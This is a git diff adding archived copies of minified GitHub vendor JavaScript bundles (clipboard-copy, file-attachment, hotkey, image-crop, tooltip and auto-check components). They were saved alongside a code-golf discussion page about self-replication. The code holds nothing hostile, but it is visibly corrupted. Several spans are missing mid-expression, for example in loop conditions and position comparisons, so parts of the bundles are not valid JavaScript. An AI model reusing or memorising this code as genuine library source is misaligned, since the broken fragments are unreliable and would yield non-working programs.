E=window.document.documentElement,_=E.matches||E.webkitMatchesSelector||E.mozMatchesSelector||E.oMatchesSelector||E.msMatchesSelector;b.prototype.matchesSelector=function(e,t){return _.call(e,t)},b.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},b.prototype.indexes=[];var D=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"ID",selector:o(function(t){var n;if(n=t.match(D))return n[0].slice(1)},"matchIdSelector"),element:o(function(t){if(t.id)return[t.id]},"getElementId")});var q=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"CLASS",selector:o(function(t){var n;if(n=t.match(q))return n[0].slice(1)},"matchClassSelector"),element:o(function(t){var n=t.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var M=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"TAG",selector:o(function(t){var n;if(n=t.match(M))return n[0].toUpperCase()},"matchTagSelector"),element:o(function(t){return[t.nodeName.toUpperCase()]},"getElementTagName")}),b.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return o(e,"Map"),e.prototype.get=function(t){return this.map[t+" "]},e.prototype.set=function(t,n){this.map[t+" "]=n},e}();var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function T(e,t){e=e.slice(0).concat(e.default);var n=e.length,u,i,f,l,g=t,y,w,v=[];do if(R.exec(""),(f=R.exec(g))&&(g=f[3],f[2]||!g)){for(u=0;u3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];l||(l=new b,f[e]=l,document.addEventListener(e,O,i)),l.add(t,n)}o(W,"on");function G(e,t,n){var u=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];!l||(l.remove(t,n),!l.size&&(delete f[e],document.removeEventListener(e,O,i)))}o(G,"off");function B(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}o(B,"fire")},11793:(U,I,H)=>{H.d(I,{EL:()=>M,N9:()=>C,Tz:()=>N});class b{constructor(s){this.children=[],this.parent=s}delete(s){const r=this.children.indexOf(s);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(s){return this.children.push(s),this}}o(b,"Leaf");class E{constructor(s){this.parent=null,this.children={},this.parent=s||null}get(s){return this.children[s]}insert(s){let r=this;for(let m=0;mh.filter(p=>p!=="")).filter(h=>h.length>0)}o(q,"expandHotkeyToEdges");function M(a){const{ctrlKey:s,altKey:r,metaKey:m,key:h}=a,p=[],F=[s,r,m,R(a)];for(const[O,W]of F.entries())W&&p.push(A[O]);return A.includes(h)||p.push(h),p.join("+")}o(M,"hotkey");const A=["Control","Alt","Meta","Shift"];function R(a){const{shiftKey:s,code:r,key:m}=a;return s&&!(r.startsWith("Key")&&m.toUpperCase()===m)}o(R,"showShift");const T=new E,S=new WeakMap;let j=T,c=null,d=[];function k(){d=[],c=null,j=T}o(k,"resetTriePosition");function L(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}c!=null&&window.clearTimeout(c),c=window.setTimeout(k,1500);const s=j.get(M(a));if(!s){k();return}if(d.push(M(a)),j=s,s instanceof b){const r=a.target;let m=!1,h;const p=_(r);for(let F=s.children.length-1;F>=0;F-=1){h=s.children[F];const O=h.getAttribute("data-hotkey-scope");if(!p&&!O||p&&r.id===O){m=!0;break}}h&&m&&(D(h,d),a.preventDefault()),k()}}o(L,"keyDownHandler");function C(a,s){Object.keys(T.children).length===0&&document.addEventListener("keydown",L);const m=q(s||a.getAttribute("data-hotkey")||"").map(h=>T.insert(h).add(a));S.set(a,m)}o(C,"install");function N(a){const s=S.get(a);if(s&&s.length)for(const r of s)r&&r.delete(a);Object.keys(T.children).length===0&&document.removeEventListener("keydown",L)}o(N,"uninstall")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b-ad1685fb2049.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js new file mode 100644 index 0000000..c9b3123 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js @@ -0,0 +1,221 @@ +"use strict";(()=>{var dt=Object.defineProperty;var c=(j,P)=>dt(j,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],{76745:(j,P,I)=>{I.d(P,{Z:()=>v});function x(d){const t=document.createElement("pre");return t.style.width="1px",t.style.height="1px",t.style.position="fixed",t.style.top="5px",t.textContent=d,t}c(x,"createNode");function _(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d.textContent);const t=getSelection();if(t==null)return Promise.reject(new Error);t.removeAllRanges();const n=document.createRange();return n.selectNodeContents(d),t.addRange(n),document.execCommand("copy"),t.removeAllRanges(),Promise.resolve()}c(_,"copyNode");function W(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d);const t=document.body;if(!t)return Promise.reject(new Error);const n=x(d);return t.appendChild(n),_(n),t.removeChild(n),Promise.resolve()}c(W,"copyText");function S(d){const t=d.getAttribute("for"),n=d.getAttribute("value");function a(){d.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(c(a,"trigger"),n)W(n).then(a);else if(t){const h="getRootNode"in Element.prototype?d.getRootNode():d.ownerDocument;if(!(h instanceof Document||"ShadowRoot"in window&&h instanceof ShadowRoot))return;const g=h.getElementById(t);g&&B(g).then(a)}}c(S,"copy");function B(d){return d instanceof HTMLInputElement||d instanceof HTMLTextAreaElement?W(d.value):d instanceof HTMLAnchorElement&&d.hasAttribute("href")?W(d.href):_(d)}c(B,"copyTarget");function H(d){const t=d.currentTarget;t instanceof HTMLElement&&S(t)}c(H,"clicked");function M(d){if(d.key===" "||d.key==="Enter"){const t=d.currentTarget;t instanceof HTMLElement&&(d.preventDefault(),S(t))}}c(M,"keydown");function R(d){d.currentTarget.addEventListener("keydown",M)}c(R,"focused");function k(d){d.currentTarget.removeEventListener("keydown",M)}c(k,"blurred");class m extends HTMLElement{constructor(){super();this.addEventListener("click",H),this.addEventListener("focus",R),this.addEventListener("blur",k)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(t){this.setAttribute("value",t)}}c(m,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=m,window.customElements.define("clipboard-copy",m));const v=m},57260:(j,P,I)=>{I.d(P,{P:()=>x});class x{constructor(i,f){this.file=i,this.directory=f,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(i,f){return _(i,f)}static from(i){const f=[];for(const E of i)if(E instanceof File)f.push(new x(E));else if(E instanceof x)f.push(E);else throw new Error("Unexpected type");return f}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpeg","image/svg+xml"].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(i){if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saving`);this.state="saving",this.percent=i}saved(i){var f,E,L;if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saved`);this.state="saved",this.id=(f=i==null?void 0:i.id)!==null&&f!==void 0?f:null,this.href=(E=i==null?void 0:i.href)!==null&&E!==void 0?E:null,this.name=(L=i==null?void 0:i.name)!==null&&L!==void 0?L:null}isPending(){return this.state==="pending"}isSaving(){return this.state==="saving"}isSaved(){return this.state==="saved"}}c(x,"Attachment");function _(s,i){return i&&R(s)?M("",k(s)):Promise.resolve(S(Array.from(s.files||[])).map(f=>new x(f)))}c(_,"transferredFiles");function W(s){return s.name.startsWith(".")}c(W,"hidden");function S(s){return Array.from(s).filter(i=>!W(i))}c(S,"visible");function B(s){return new Promise(function(i,f){s.file(i,f)})}c(B,"getFile");function H(s){return new Promise(function(i,f){const E=[],L=s.createReader(),O=c(()=>{L.readEntries(U=>{U.length>0?(E.push(...U),O()):i(E)},f)},"read");O()})}c(H,"getEntries");async function M(s,i){const f=[];for(const E of S(i))if(E.isDirectory)f.push(...await M(E.fullPath,await H(E)));else{const L=await B(E);f.push(new x(L,s))}return f}c(M,"traverse");function R(s){return s.items&&Array.from(s.items).some(i=>{const f=i.webkitGetAsEntry&&i.webkitGetAsEntry();return f&&f.isDirectory})}c(R,"isDirectory");function k(s){return Array.from(s.items).map(i=>i.webkitGetAsEntry()).filter(i=>i!=null)}c(k,"roots");class m extends HTMLElement{connectedCallback(){this.addEventListener("dragenter",t),this.addEventListener("dragover",t),this.addEventListener("dragleave",n),this.addEventListener("drop",a),this.addEventListener("paste",y),this.addEventListener("change",T)}disconnectedCallback(){this.removeEventListener("dragenter",t),this.removeEventListener("dragover",t),this.removeEventListener("dragleave",n),this.removeEventListener("drop",a),this.removeEventListener("paste",y),this.removeEventListener("change",T)}get directory(){return this.hasAttribute("directory")}set directory(i){i?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(i){const f=i instanceof DataTransfer?await x.traverse(i,this.directory):x.from(i);this.dispatchEvent(new CustomEvent("file-attachment-accept",{bubbles:!0,cancelable:!0,detail:{attachments:f}}))&&f.length&&this.dispatchEvent(new CustomEvent("file-attachment-accepted",{bubbles:!0,detail:{attachments:f}}))}}c(m,"FileAttachmentElement");function v(s){return Array.from(s.types).indexOf("Files")>=0}c(v,"hasFile");let d=null;function t(s){const i=s.currentTarget;d&&clearTimeout(d),d=window.setTimeout(()=>i.removeAttribute("hover"),200);const f=s.dataTransfer;!f||!v(f)||(f.dropEffect="copy",i.setAttribute("hover",""),s.preventDefault())}c(t,"onDragenter");function n(s){s.dataTransfer&&(s.dataTransfer.dropEffect="none"),s.currentTarget.removeAttribute("hover"),s.stopPropagation(),s.preventDefault()}c(n,"onDragleave");function a(s){const i=s.currentTarget;if(!(i instanceof m))return;i.removeAttribute("hover");const f=s.dataTransfer;!f||!v(f)||(i.attach(f),s.stopPropagation(),s.preventDefault())}c(a,"onDrop");const h=/^image\/(gif|png|jpeg)$/;function g(s){for(const i of s)if(i.kind==="file"&&h.test(i.type))return i.getAsFile();return null}c(g,"pastedFile");function y(s){if(!s.clipboardData||!s.clipboardData.items)return;const i=s.currentTarget;if(!(i instanceof m))return;const f=g(s.clipboardData.items);if(!f)return;const E=[f];i.attach(E),s.preventDefault()}c(y,"onPaste");function T(s){const i=s.currentTarget;if(!(i instanceof m))return;const f=s.target;if(!(f instanceof HTMLInputElement))return;const E=i.getAttribute("input");if(E&&f.id!==E)return;const L=f.files;!L||L.length===0||(i.attach(L),f.value="")}c(T,"onChange"),window.customElements.get("file-attachment")||(window.FileAttachmentElement=m,window.customElements.define("file-attachment",m));var u=null},48030:(j,P,I)=>{I.d(P,{N:()=>W});const x={"outside-top":["outside-bottom","outside-right","outside-left","outside-bottom"],"outside-bottom":["outside-top","outside-right","outside-left","outside-bottom"],"outside-left":["outside-right","outside-bottom","outside-top","outside-bottom"],"outside-right":["outside-left","outside-bottom","outside-top","outside-bottom"]},_={start:["end","center"],end:["start","center"],center:["end","start"]};function W(d,t,n={}){const a=S(d),h=B(a),g=getComputedStyle(a),y=a.getBoundingClientRect(),[T,u]=[g.borderTopWidth,g.borderLeftWidth].map(i=>parseInt(i,10)||0),s={top:y.top+T,left:y.left+u};return R(h,s,d.getBoundingClientRect(),t instanceof Element?t.getBoundingClientRect():t,M(n))}c(W,"getAnchoredPosition");function S(d){let t=d.parentNode;for(;t!==null;){if(t instanceof HTMLElement&&getComputedStyle(t).position!=="static")return t;t=t.parentNode}return document.body}c(S,"getPositionedParent");function B(d){let t=d;for(;t!==null&&!(t===document.body||getComputedStyle(t).overflow!=="visible");)t=t.parentNode;const n=t===document.body||!(t instanceof HTMLElement)?document.body:t,a=n.getBoundingClientRect(),h=getComputedStyle(n),[g,y,T,u]=[h.borderTopWidth,h.borderLeftWidth,h.borderRightWidth,h.borderBottomWidth].map(s=>parseInt(s,10)||0);return{top:a.top+g,left:a.left+y,width:a.width-T-y,height:Math.max(a.height-g-u,n===document.body?window.innerHeight:-1/0)}}c(B,"getClippingRect");const H={side:"outside-bottom",align:"start",anchorOffset:4,alignmentOffset:4,allowOutOfBounds:!1};function M(d={}){var t,n,a,h,g;const y=(t=d.side)!==null&&t!==void 0?t:H.side,T=(n=d.align)!==null&&n!==void 0?n:H.align;return{side:y,align:T,anchorOffset:(a=d.anchorOffset)!==null&&a!==void 0?a:y==="inside-center"?0:H.anchorOffset,alignmentOffset:(h=d.alignmentOffset)!==null&&h!==void 0?h:T!=="center"&&y.startsWith("inside")?H.alignmentOffset:0,allowOutOfBounds:(g=d.allowOutOfBounds)!==null&&g!==void 0?g:H.allowOutOfBounds}}c(M,"getDefaultSettings");function R(d,t,n,a,{side:h,align:g,allowOutOfBounds:y,anchorOffset:T,alignmentOffset:u}){const s={top:d.top-t.top,left:d.left-t.left,width:d.width,height:d.height};let i=k(n,a,h,g,T,u),f=h,E=g;if(i.top-=t.top,i.left-=t.left,!y){const L=x[h];let O=0;if(L){let K=h;for(;Od.width+s.left&&(i.left=d.width+s.left-n.width),L&&Od.height+s.top&&(i.top=d.height+s.top-n.height)}return Object.assign(Object.assign({},i),{anchorSide:f,anchorAlign:E})}c(R,"pureCalculateAnchoredPosition");function k(d,t,n,a,h,g){const y=t.left+t.width,T=t.top+t.height;let u=-1,s=-1;return n==="outside-top"?u=t.top-h-d.height:n==="outside-bottom"?u=T+h:n==="outside-left"?s=t.left-h-d.width:n==="outside-right"&&(s=y+h),(n==="outside-top"||n==="outside-bottom")&&(a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g),(n==="outside-left"||n==="outside-right")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),n==="inside-top"?u=t.top+h:n==="inside-bottom"?u=T-h-d.height:n==="inside-left"?s=t.left+h:n==="inside-right"?s=y-h-d.width:n==="inside-center"&&(s=(y+t.left)/2-d.width/2+h),n==="inside-top"||n==="inside-bottom"?a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g:(n==="inside-left"||n==="inside-right"||n==="inside-center")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),{top:u,left:s}}c(k,"calculatePosition");function m(d,t,n,a){return d==="outside-top"||d==="outside-bottom"?t.topn.height+n.top:t.leftn.width+n.left}c(m,"shouldRecalculatePosition");function v(d,t,n,a){if(d==="end")return t.leftn.left+n.width||t.left{var x=I(46481),_=I(76745);const W=2e3;function S(o){o.style.display="inline-block"}c(S,"showSVG");function B(o){o.style.display="none"}c(B,"hideSVG");function H(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(S(e),B(r))}c(H,"showCopy");function M(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(B(e),S(r))}c(M,"showCheck");const R=new WeakMap;document.addEventListener("clipboard-copy",function({target:o}){if(!(o instanceof HTMLElement)||!o.hasAttribute("data-view-component"))return;const e=R.get(o);e?(clearTimeout(e),R.delete(o)):M(o),R.set(o,setTimeout(()=>{H(o),R.delete(o)},W))});var k=I(29501),m=I(75329);const v=new WeakMap,d=new WeakMap,t=new WeakMap;function n(o){const e=o.currentTarget;if(!(e instanceof i))return;const{box:r,image:p}=t.get(e)||{};if(!r||!p)return;let b=0,w=0;if(o instanceof KeyboardEvent)o.key==="ArrowUp"?w=-1:o.key==="ArrowDown"?w=1:o.key==="ArrowLeft"?b=-1:o.key==="ArrowRight"&&(b=1);else if(d.has(e)&&o instanceof MouseEvent){const A=d.get(e);b=o.pageX-A.dragStartX,w=o.pageY-A.dragStartY}else if(d.has(e)&&o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0],{dragStartX:$,dragStartY:N}=d.get(e);b=A-$,w=C-N}if(b!==0||w!==0){const A=Math.min(Math.max(0,r.offsetLeft+b),p.width-r.offsetWidth),C=Math.min(Math.max(0,r.offsetTop+w),p.height-r.offsetHeight);r.style.left=`${A}px`,r.style.top=`${C}px`,s(e,{x:A,y:C,width:r.offsetWidth,height:r.offsetHeight})}if(o instanceof MouseEvent)d.set(e,{dragStartX:o.pageX,dragStartY:o.pageY});else if(o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0];d.set(e,{dragStartX:A,dragStartY:C})}}c(n,"moveCropArea");function a(o){const e=o.target;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=r.getBoundingClientRect();let w,A,C;if(o instanceof KeyboardEvent){if(o.key==="Escape")return T(r);if(o.key==="-"&&(C=-10),o.key==="="&&(C=10),!C)return;w=p.offsetWidth+C,A=p.offsetHeight+C,v.set(r,{startX:p.offsetLeft,startY:p.offsetTop})}else if(o instanceof MouseEvent){const $=v.get(r);if(!$)return;w=o.pageX-$.startX-b.left-window.pageXOffset,A=o.pageY-$.startY-b.top-window.pageYOffset}else if(o instanceof TouchEvent){const $=v.get(r);if(!$)return;w=o.changedTouches[0].pageX-$.startX-b.left-window.pageXOffset,A=o.changedTouches[0].pageY-$.startY-b.top-window.pageYOffset}w&&A&&y(r,w,A,!(o instanceof KeyboardEvent))}c(a,"updateCropArea");function h(o){const e=o.getRootNode();return e instanceof ShadowRoot?e.host:o}c(h,"getShadowHost");function g(o){const e=o.currentTarget;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=o.target;if(b instanceof HTMLElement)if(b.hasAttribute("data-direction")){const w=b.getAttribute("data-direction")||"";r.addEventListener("mousemove",a),r.addEventListener("touchmove",a,{passive:!0}),["nw","se"].indexOf(w)>=0&&r.classList.add("nwse"),["ne","sw"].indexOf(w)>=0&&r.classList.add("nesw"),v.set(r,{startX:p.offsetLeft+(["se","ne"].indexOf(w)>=0?0:p.offsetWidth),startY:p.offsetTop+(["se","sw"].indexOf(w)>=0?0:p.offsetHeight)}),a(o)}else r.addEventListener("mousemove",n),r.addEventListener("touchmove",n,{passive:!0})}c(g,"startUpdate");function y(o,e,r,p=!0){let b=Math.max(Math.abs(e),Math.abs(r),10);const w=v.get(o);if(!w)return;const{box:A,image:C}=t.get(o)||{};if(!A||!C)return;b=Math.min(b,r>0?C.height-w.startY:w.startY,e>0?C.width-w.startX:w.startX);const $=p?Math.round(Math.max(0,e>0?w.startX:w.startX-b)):A.offsetLeft,N=p?Math.round(Math.max(0,r>0?w.startY:w.startY-b)):A.offsetTop;A.style.left=`${$}px`,A.style.top=`${N}px`,A.style.width=`${b}px`,A.style.height=`${b}px`,s(o,{x:$,y:N,width:b,height:b})}c(y,"updateDimensions");function T(o){const{image:e}=t.get(o)||{};if(!e)return;const r=Math.round(e.clientWidth>e.clientHeight?e.clientHeight:e.clientWidth);v.set(o,{startX:(e.clientWidth-r)/2,startY:(e.clientHeight-r)/2}),y(o,r,r)}c(T,"setInitialPosition");function u(o){const e=o.currentTarget;e instanceof i&&(d.delete(e),e.classList.remove("nwse","nesw"),e.removeEventListener("mousemove",a),e.removeEventListener("mousemove",n),e.removeEventListener("touchmove",a),e.removeEventListener("touchmove",n))}c(u,"stopUpdate");function s(o,e){const{image:r}=t.get(o)||{};if(!r)return;const p=r.naturalWidth/r.width;for(const b in e){const w=Math.round(e[b]*p);e[b]=w;const A=o.querySelector(`[data-image-crop-input='${b}']`);A instanceof HTMLInputElement&&(A.value=w.toString())}o.dispatchEvent(new CustomEvent("image-crop-change",{bubbles:!0,detail:e}))}c(s,"fireChangeEvent");class i extends HTMLElement{connectedCallback(){if(t.has(this))return;const e=this.attachShadow({mode:"open"});e.innerHTML=` + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +`;const r=e.querySelector("[data-crop-box]");if(!(r instanceof HTMLElement))return;const p=e.querySelector("img");p instanceof HTMLImageElement&&(t.set(this,{box:r,image:p}),p.addEventListener("load",()=>{this.loaded=!0,T(this)}),this.addEventListener("mouseleave",u),this.addEventListener("touchend",u),this.addEventListener("mouseup",u),r.addEventListener("mousedown",g),r.addEventListener("touchstart",g,{passive:!0}),this.addEventListener("keydown",n),this.addEventListener("keydown",a),this.src&&(p.src=this.src))}static get observedAttributes(){return["src"]}get src(){return this.getAttribute("src")}set src(e){e?this.setAttribute("src",e):this.removeAttribute("src")}get loaded(){return this.hasAttribute("loaded")}set loaded(e){e?this.setAttribute("loaded",""):this.removeAttribute("loaded")}attributeChangedCallback(e,r,p){const{image:b}=t.get(this)||{};e==="src"&&(this.loaded=!1,b&&(b.src=p))}}c(i,"ImageCropElement");const f=null;window.customElements.get("image-crop")||(window.ImageCropElement=i,window.customElements.define("image-crop",i));var E=I(11095),L=I(48030),O=function(o,e,r,p,b){if(p==="m")throw new TypeError("Private method is not writable");if(p==="a"&&!b)throw new TypeError("Private accessor was defined without a setter");if(typeof e=="function"?o!==e||!b:!e.has(o))throw new TypeError("Cannot write private member to an object whose class did not declare it");return p==="a"?b.call(o,r):b?b.value=r:e.set(o,r),r},U=function(o,e,r,p){if(r==="a"&&!p)throw new TypeError("Private accessor was defined without a getter");if(typeof e=="function"?o!==e||!p:!e.has(o))throw new TypeError("Cannot read private member from an object whose class did not declare it");return r==="m"?p:r==="a"?p.call(o):p?p.value:e.get(o)},G,K,D,z,et,Q,st;const nt="tooltip-open",it=6,lt=["tooltip-n","tooltip-s","tooltip-e","tooltip-w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw"];class l extends HTMLElement{constructor(){super(...arguments);G.add(this),K.set(this,void 0),D.set(this,"center"),z.set(this,"outside-bottom"),et.set(this,!1)}styles(){return` + :host { + position: absolute; + z-index: 1000000; + padding: .5em .75em; + font: normal normal 11px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; + -webkit-font-smoothing: subpixel-antialiased; + color: var(--color-fg-on-emphasis); + text-align: center; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-wrap: break-word; + white-space: pre; + background: var(--color-neutral-emphasis-plus); + border-radius: 6px; + opacity: 0; + max-width: 250px; + word-wrap: break-word; + white-space: normal; + width: max-content; + } + + :host:before{ + position: absolute; + z-index: 1000001; + color: var(--color-neutral-emphasis-plus); + content: ""; + border: 6px solid transparent; + opacity: 0 + } + + @keyframes tooltip-appear { + from { + opacity: 0 + } + to { + opacity: 1 + } + } + + :host:after{ + position: absolute; + display: block; + right: 0; + left: 0; + height: 12px; + content: "" + } + + :host(.${nt}), + :host(.${nt}):before { + animation-name: tooltip-appear; + animation-duration: .1s; + animation-fill-mode: forwards; + animation-timing-function: ease-in; + animation-delay: .4s + } + + :host(.tooltip-s):before, + :host(.tooltip-n):before { + right: 50%; + margin-right: -${it}px; + } + + :host(.tooltip-s):before, + :host(.tooltip-se):before, + :host(.tooltip-sw):before { + bottom: 100%; + border-bottom-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-s):after, + :host(.tooltip-se):after, + :host(.tooltip-sw):after { + bottom: 100% + } + + :host(.tooltip-n):before, + :host(.tooltip-ne):before, + :host(.tooltip-nw):before { + top: 100%; + border-top-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-n):after, + :host(.tooltip-ne):after, + :host(.tooltip-nw):after { + top: 100% + } + + :host(.tooltip-se):before, + :host(.tooltip-ne):before { + left: 0; + margin-left: ${it}px; + } + + :host(.tooltip-sw):before, + :host(.tooltip-nw):before { + right: 0; + margin-right: ${it}px; + } + + :host(.tooltip-w):before { + top: 50%; + bottom: 50%; + left: 100%; + margin-top: -6px; + border-left-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-e):before { + top: 50%; + right: 100%; + bottom: 50%; + margin-top: -6px; + border-right-color: var(--color-neutral-emphasis-plus) + } + `}get htmlFor(){return this.getAttribute("for")||""}set htmlFor(e){this.setAttribute("for",e)}get type(){return this.getAttribute("data-type")==="label"?"label":"description"}set type(e){this.setAttribute("data-type",e)}get direction(){return this.getAttribute("data-direction")||"s"}set direction(e){this.setAttribute("data-direction",e)}get control(){return this.ownerDocument.getElementById(this.htmlFor)}connectedCallback(){var e;if(!this.shadowRoot){const p=this.attachShadow({mode:"open"});p.innerHTML=` + + + `}if(this.hidden=!0,O(this,et,!0,"f"),this.id||(this.id=`tooltip-${Date.now()}-${(Math.random()*1e4).toFixed(0)}`),!this.control)return;this.setAttribute("role","tooltip"),(e=U(this,K,"f"))===null||e===void 0||e.abort(),O(this,K,new AbortController,"f");const{signal:r}=U(this,K,"f");this.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("mouseenter",this,{signal:r}),this.control.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("focus",this,{signal:r}),this.control.addEventListener("blur",this,{signal:r}),this.ownerDocument.addEventListener("keydown",this,{signal:r}),U(this,G,"m",Q).call(this)}disconnectedCallback(){var e;(e=U(this,K,"f"))===null||e===void 0||e.abort()}handleEvent(e){!this.control||((e.type==="mouseenter"||e.type==="focus")&&this.hidden?this.hidden=!1:e.type==="blur"?this.hidden=!0:e.type==="mouseleave"&&e.relatedTarget!==this.control&&e.relatedTarget!==this?this.hidden=!0:e.type==="keydown"&&e.key==="Escape"&&!this.hidden&&(this.hidden=!0))}attributeChangedCallback(e){if(e==="id"||e==="data-type"){if(!this.id||!this.control)return;if(this.type==="label")this.control.setAttribute("aria-labelledby",this.id);else{let r=this.control.getAttribute("aria-describedby");r?r=`${r} ${this.id}`:r=this.id,this.control.setAttribute("aria-describedby",r)}}else if(this.isConnected&&e==="hidden")U(this,G,"m",Q).call(this);else if(e==="data-direction"){this.classList.remove(...lt);const r=this.direction;r==="n"?(O(this,D,"center","f"),O(this,z,"outside-top","f")):r==="ne"?(O(this,D,"start","f"),O(this,z,"outside-top","f")):r==="e"?(O(this,D,"center","f"),O(this,z,"outside-right","f")):r==="se"?(O(this,D,"start","f"),O(this,z,"outside-bottom","f")):r==="s"?(O(this,D,"center","f"),O(this,z,"outside-bottom","f")):r==="sw"?(O(this,D,"end","f"),O(this,z,"outside-bottom","f")):r==="w"?(O(this,D,"center","f"),O(this,z,"outside-left","f")):r==="nw"&&(O(this,D,"end","f"),O(this,z,"outside-top","f"))}}}c(l,"ToolTipElement"),K=new WeakMap,D=new WeakMap,z=new WeakMap,et=new WeakMap,G=new WeakSet,Q=c(function(){if(this.hidden)this.classList.remove(nt,...lt);else{this.classList.add(nt);for(const e of this.ownerDocument.querySelectorAll(this.tagName))e!==this&&(e.hidden=!0);U(this,G,"m",st).call(this)}},"_ToolTipElement_update"),st=c(function(){if(!this.control||!U(this,et,"f")||this.hidden)return;const e=10;this.style.left="0px";const r=(0,L.N)(this,this.control,{side:U(this,z,"f"),align:U(this,D,"f"),anchorOffset:e}),p=r.anchorSide,b=r.anchorAlign;this.style.top=`${r.top}px`,this.style.left=`${r.left}px`;let w="s";p==="outside-left"?w="w":p==="outside-right"?w="e":p==="outside-top"?b==="center"?w="n":b==="start"?w="ne":w="nw":b==="center"?w="s":b==="start"?w="se":w="sw",this.classList.add(`tooltip-${w}`)},"_ToolTipElement_updatePosition"),l.observedAttributes=["data-type","data-direction","id","hidden"],window.customElements.get("tool-tip")||(window.ToolTipElement=l,window.customElements.define("tool-tip",l))},38257:()=>{function j(k,m=0,{start:v=!0,middle:d=!0,once:t=!1}={}){var n=0,a,h=!1,g=c(function y(...T){if(!h){var u=Date.now()-n;n=Date.now(),v?(v=!1,k(...T),t&&y.cancel()):(d&&ua=g,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-start",{bubbles:!0,detail:{setValidity:h}})),v.required&&m.setCustomValidity(a)}c(_,"setLoadingState");function W(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}c(W,"makeAbortController");async function S(k,m,v){try{const d=await fetch(m,v);return k.dispatchEvent(new CustomEvent("load")),k.dispatchEvent(new CustomEvent("loadend")),d}catch(d){throw d.name!=="AbortError"&&(k.dispatchEvent(new CustomEvent("error")),k.dispatchEvent(new CustomEvent("loadend"))),d}}c(S,"fetchWithNetworkEvents");async function B(k){const m=k.input;if(!m)return;const v=k.src,d=k.csrf,t=I.get(k);if(!v||!d||!t){k.required&&m.setCustomValidity("");return}if(!m.value.trim()){k.required&&m.setCustomValidity("");return}const n=new FormData;n.append("authenticity_token",d),n.append("value",m.value),m.dispatchEvent(new 